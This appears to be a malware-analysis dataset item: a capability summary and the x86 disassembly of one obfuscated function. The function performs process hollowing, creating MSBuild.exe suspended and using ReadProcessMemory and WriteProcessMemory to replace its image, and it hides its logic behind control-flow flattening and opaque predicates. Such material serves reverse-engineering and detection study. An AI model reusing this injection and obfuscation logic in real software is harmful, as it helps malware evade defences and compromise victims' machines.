Function at 0x10006dc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x1007c200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
mov edx, ecx
add edx, 0x6ffd4629
sub edx, 1
sub edx, 0x6ffd4629
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x122], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x121], al
mov dword [ebp - 0x128], 0x7130e1aa
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x80c16c0c
je 0x1000bbdd
jmp 0x10006e3b
mov eax, dword [ebp - 0x12c]
sub eax, 0x82368989
je 0x100093d9
jmp 0x10006e51
mov eax, dword [ebp - 0x12c]
sub eax, 0x825210b3
je 0x1000ea69
jmp 0x10006e67
mov eax, dword [ebp - 0x12c]
sub eax, 0x82742a73
je 0x1000ebb0
jmp 0x10006e7d
mov eax, dword [ebp - 0x12c]
sub eax, 0x82b3b7ae
je 0x10009ac8
jmp 0x10006e93
mov eax, dword [ebp - 0x12c]
sub eax, 0x82ffb72b
je 0x1000d962
jmp 0x10006ea9
mov eax, dword [ebp - 0x12c]
sub eax, 0x832fbb76
je 0x1000ea09
jmp 0x10006ebf
mov eax, dword [ebp - 0x12c]
sub eax, 0x83cc2822
je 0x1000ed7f
jmp 0x10006ed5
mov eax, dword [ebp - 0x12c]
sub eax, 0x8412e1ae
je 0x1000b009
jmp 0x10006eeb
mov eax, dword [ebp - 0x12c]
sub eax, 0x84a2a808
je 0x1000eb6e
jmp 0x10006f01
mov eax, dword [ebp - 0x12c]
sub eax, 0x86317975
je 0x10009801
jmp 0x10006f17
mov eax, dword [ebp - 0x12c]
sub eax, 0x8762f7ab
je 0x1000ba0f
jmp 0x10006f2d
mov eax, dword [ebp - 0x12c]
sub eax, 0x879f5b14
je 0x1000b9b4
jmp 0x10006f43
mov eax, dword [ebp - 0x12c]
sub eax, 0x882b1353
je 0x1000972c
jmp 0x10006f59
mov eax, dword [ebp - 0x12c]
sub eax, 0x8855d1ad
je 0x100095af
jmp 0x10006f6f
mov eax, dword [ebp - 0x12c]
sub eax, 0x889abd30
je 0x1000e86b
jmp 0x10006f85
mov eax, dword [ebp - 0x12c]
sub eax, 0x8a887c25
je 0x1000def3
jmp 0x10006f9b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b193a61
je 0x1000eefe
jmp 0x10006fb1
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b1c3fbe
je 0x1000dcdb
jmp 0x10006fc7
mov eax, dword [ebp - 0x12c]
sub eax, 0x8c748a54
je 0x1000af2a
jmp 0x10006fdd
mov eax, dword [ebp - 0x12c]
sub eax, 0x8c805c4c
je 0x1000cf4a
jmp 0x10006ff3
mov eax, dword [ebp - 0x12c]
sub eax, 0x8d506ae4
je 0x1000c241
jmp 0x10007009
mov eax, dword [ebp - 0x12c]
sub eax, 0x8d5b3a16
je 0x1000dd5f
jmp 0x1000701f
mov eax, dword [ebp - 0x12c]
sub eax, 0x8dab9619
je 0x1000dd7d
jmp 0x10007035
mov eax, dword [ebp - 0x12c]
sub eax, 0x8e6370c3
je 0x1000e49f
jmp 0x1000704b
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ef0afb7
je 0x1000e6f4
jmp 0x10007061
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f98dd17
je 0x1000a87b
jmp 0x10007077
mov eax, dword [ebp - 0x12c]
sub eax, 0x8fc5eb4c
je 0x1000aeaa
jmp 0x1000708d
mov eax, dword [ebp - 0x12c]
sub eax, 0x9052cc42
je 0x1000c821
jmp 0x100070a3
mov eax, dword [ebp - 0x12c]
sub eax, 0x91b36765
je 0x1000b511
jmp 0x100070b9
mov eax, dword [ebp - 0x12c]
sub eax, 0x91e89787
je 0x10009c7f
jmp 0x100070cf
mov eax, dword [ebp - 0x12c]
sub eax, 0x9223ac76
je 0x10009976
jmp 0x100070e5
mov eax, dword [ebp - 0x12c]
sub eax, 0x92a87a96
je 0x1000bd69
jmp 0x100070fb
mov eax, dword [ebp - 0x12c]
sub eax, 0x937490c0
je 0x1000b62b
jmp 0x10007111
mov eax, dword [ebp - 0x12c]
sub eax, 0x93c283f0
je 0x1000b92f
jmp 0x10007127
mov eax, dword [ebp - 0x12c]
sub eax, 0x941211eb
je 0x1000a528
jmp 0x1000713d
mov eax, dword [ebp - 0x12c]
sub eax, 0x94703c7a
je 0x1000a0ca
jmp 0x10007153
mov eax, dword [ebp - 0x12c]
sub eax, 0x94c0ec9c
je 0x1000e829
jmp 0x10007169
mov eax, dword [ebp - 0x12c]
sub eax, 0x95a88997
je 0x1000de84
jmp 0x1000717f
mov eax, dword [ebp - 0x12c]
sub eax, 0x95faf59e
je 0x1000b035
jmp 0x10007195
mov eax, dword [ebp - 0x12c]
sub eax, 0x96bc9f5d
je 0x1000d7ff
jmp 0x100071ab
mov eax, dword [ebp - 0x12c]
sub eax, 0x97cd2e89
je 0x10009b6c
jmp 0x100071c1
mov eax, dword [ebp - 0x12c]
sub eax, 0x98429c92
je 0x1000b82c
jmp 0x100071d7
mov eax, dword [ebp - 0x12c]
sub eax, 0x9940ab60
je 0x1000ac01
jmp 0x100071ed
mov eax, dword [ebp - 0x12c]
sub eax, 0x9a3a16b7
je 0x1000d0ee
jmp 0x10007203
mov eax, dword [ebp - 0x12c]
sub eax, 0x9b483e6b
je 0x1000ec46
jmp 0x10007219
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c349488
je 0x10009a10
jmp 0x1000722f
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c9bdd08
je 0x1000cbc8
jmp 0x10007245
mov eax, dword [ebp - 0x12c]
sub eax, 0x9cb80f0b
je 0x1000e7ea
jmp 0x1000725b
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ce6c711
je 0x1000c913
jmp 0x10007271
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d63e3cf
je 0x1000ec88
jmp 0x10007287
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e8e05b6
je 0x1000baf3
jmp 0x1000729d
mov eax, dword [ebp - 0x12c]
sub eax, 0x9fd13a25
je 0x1000dc15
jmp 0x100072b3
mov eax, dword [ebp - 0x12c]
sub eax, 0x9fed6eda
je 0x1000a7fb
jmp 0x100072c9
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ffb1a46
je 0x1000eaab
jmp 0x100072df
mov eax, dword [ebp - 0x12c]
sub eax, 0xa00e670f
je 0x1000a3d6
jmp 0x100072f5
mov eax, dword [ebp - 0x12c]
sub eax, 0xa1337a02
je 0x1000b648
jmp 0x1000730b
mov eax, dword [ebp - 0x12c]
sub eax, 0xa2c35a1f
je 0x1000ee7f
jmp 0x10007321
mov eax, dword [ebp - 0x12c]
sub eax, 0xa39c8262
je 0x1000e44c
jmp 0x10007337
mov eax, dword [ebp - 0x12c]
sub eax, 0xa3c9dbed
je 0x1000be9c
jmp 0x1000734d
mov eax, dword [ebp - 0x12c]
sub eax, 0xa446816c
je 0x1000eb8f
jmp 0x10007363
mov eax, dword [ebp - 0x12c]
sub eax, 0xa48feb66
je 0x1000aeda
jmp 0x10007379
mov eax, dword [ebp - 0x12c]
sub eax, 0xa49a685e
je 0x1000ee4c
jmp 0x1000738f
mov eax, dword [ebp - 0x12c]
sub eax, 0xa4ab48eb
je 0x1000a5e0
jmp 0x100073a5
mov eax, dword [ebp - 0x12c]
sub eax, 0xa4f5b61e
je 0x10009e25
mov dword [ebp - 0x128], 0x6befeba4
jmp 0x1000ef5a
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c39c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x1da0d3fe
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x6110e661
mov ecx, 0x214f1c39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c238]
movss dword [eax], xmm0
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
add edx, 0xdfe66b6
sub edx, 1
sub edx, 0xdfe66b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x514f82fa
mov ecx, 0x2788a7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0xa916ccb4
jmp 0x1000ef5a
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c230]
movss dword [eax], xmm0
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
mov edx, ecx
sub edx, 0xbe44dbc6
sub edx, 1
add edx, 0xbe44dbc6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x464f634f
mov ecx, 0x73c3ea37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c378]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c374]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c370]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xdec09236
jmp 0x1000ef5a
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c364]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xde04c5b8
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0xc009d38a
jmp 0x1000ef5a
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c338]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c334]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x530dc2e0
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x41a66225
jmp 0x1000ef5a
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c328]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c324]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xe1e1cf81
jmp 0x1000ef5a
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c214]
movss dword [eax], xmm0
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
add edx, 0xec7a3761
sub edx, 1
sub edx, 0xec7a3761
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x889abd30
mov ecx, 0x3dff76b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x7886a1ab
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8ef8ec8
mov ecx, 0xeba4dc50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x6bcd0a95
mov ecx, 0x68ae3d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0xf68cc843
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x5d9f4c9a
mov ecx, 0x575a6792
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x5d9f4c9a
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x217ca089
jmp 0x1000ef5a
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2e8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xffdddfee
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x4234d258
mov ecx, 0x33649a24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x4402317e
mov ecx, 0xa1337a02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2c0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x18c06f4a
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x418fc0c7
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x1e0db39a
jmp 0x1000ef5a
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1d0]
movss dword [eax], xmm0
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62a0fea6
mov ecx, 0x8762f7ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x74f64d29
jmp 0x1000ef5a
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1cc]
movss dword [eax], xmm0
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36740829
mov ecx, 0x1b9a15fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dl, 1
mov eax, 0xc4ac5c99
mov ecx, 0x12801744
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1c8]
movss dword [eax], xmm0
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf290202f
mov ecx, 0x5448abdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
add edx, 0xd2ada2a9
sub edx, 1
sub edx, 0xd2ada2a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4aac1a93
mov ecx, 0xf3fa69d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0xf7c2a539
jmp 0x1000ef5a
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1a0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c19c]
movss dword [eax], xmm0
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b483e6b
mov ecx, 0xc20ef406
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
add edx, 0xc53cb046
sub edx, 1
sub edx, 0xc53cb046
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x497f12eb
mov ecx, 0xc8292f7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dl, 1
mov eax, 0x316854e8
mov ecx, 0x700c97c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0xe8]
mov cl, byte [ebp - 0x99]
mov byte [eax], cl
mov eax, dword [ebp - 0xe4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dl, byte [eax]
mov eax, 0x51f92cb
mov ecx, 0xe4f1ef57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100063d0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x128], 0x32f5f2df
jmp 0x1000ef5a
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
mov edx, ecx
add edx, 0x11c18c64
sub edx, 1
sub edx, 0x11c18c64
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeed0f92e
mov ecx, 0x3626b2cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
sub edx, 0xedd139ca
sub edx, 1
add edx, 0xedd139ca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc89153
mov ecx, 0xf177ad88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
sub edx, 0xe941bd84
sub edx, 1
add edx, 0xe941bd84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf44978d2
mov ecx, 0x227d4a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x48]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
mov edx, ecx
add edx, 0xf31286f5
sub edx, 1
sub edx, 0xf31286f5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa49a685e
mov ecx, 0x8d5b3a16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov dl, byte [ebp - 0x41]
mov eax, 0x8e6370c3
mov ecx, 0x8dab9619
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x128], 0x35c7e6fc
jmp 0x1000ef5a
mov eax, dword [0x1007d528]
mov ecx, dword [0x1007d524]
mov edx, eax
add edx, 0xea5cf4f8
sub edx, 1
sub edx, 0xea5cf4f8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fb4d7cd
mov ecx, 0x34375259
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xf087396f
or eax, edx
or ecx, 0xf087396f
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x128], 0xc17eaf02
jmp 0x1000ef5a
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x128], 0x3977401
jmp 0x1000ef5a
mov ecx, dword [0x1007d528]
mov eax, dword [0x1007d524]
mov edx, ecx
sub edx, 0x46707b91
sub edx, 1
add edx, 0x46707b91
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6292a128
mov ecx, 0x222f963e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000ef5a
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c23c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x3f9f5ef
jmp 0x1000ef5a
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c220]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x486d4743
jmp 0x1000ef5a
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c21c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xe13673d9
jmp 0x1000ef5a
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c214]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa4ab48eb
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x4d3ef0d0
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0xab16fdf2
jmp 0x1000ef5a
mov dword [ebp - 0x128], 0x451ae2fd
jmp 0x1000ef5a
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c1bc]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xe939cf8c
jmp 0x1000ef5a
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c1b8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa17d9fe
jmp 0x1000ef5a
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1b0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x746e6b12
jmp 0x1000ef5a
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1a0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c19c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x9052cc42
jmp 0x1000ef5a
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c198]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xfe628efb
jmp 0x1000ef5a
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x128], 0x62bab424
jmp 0x1000ef5a
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x128], 0x8b1c3fbe
jmp 0x1000ef5a
mov ax, word [ebp - 0x2c]
movzx eax, ax
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x128], 0x7395a49a
jmp 0x1000ef5a
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x28]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x128], 0x5d878b95
jmp 0x1000ef5a
jmp 0x10006e1f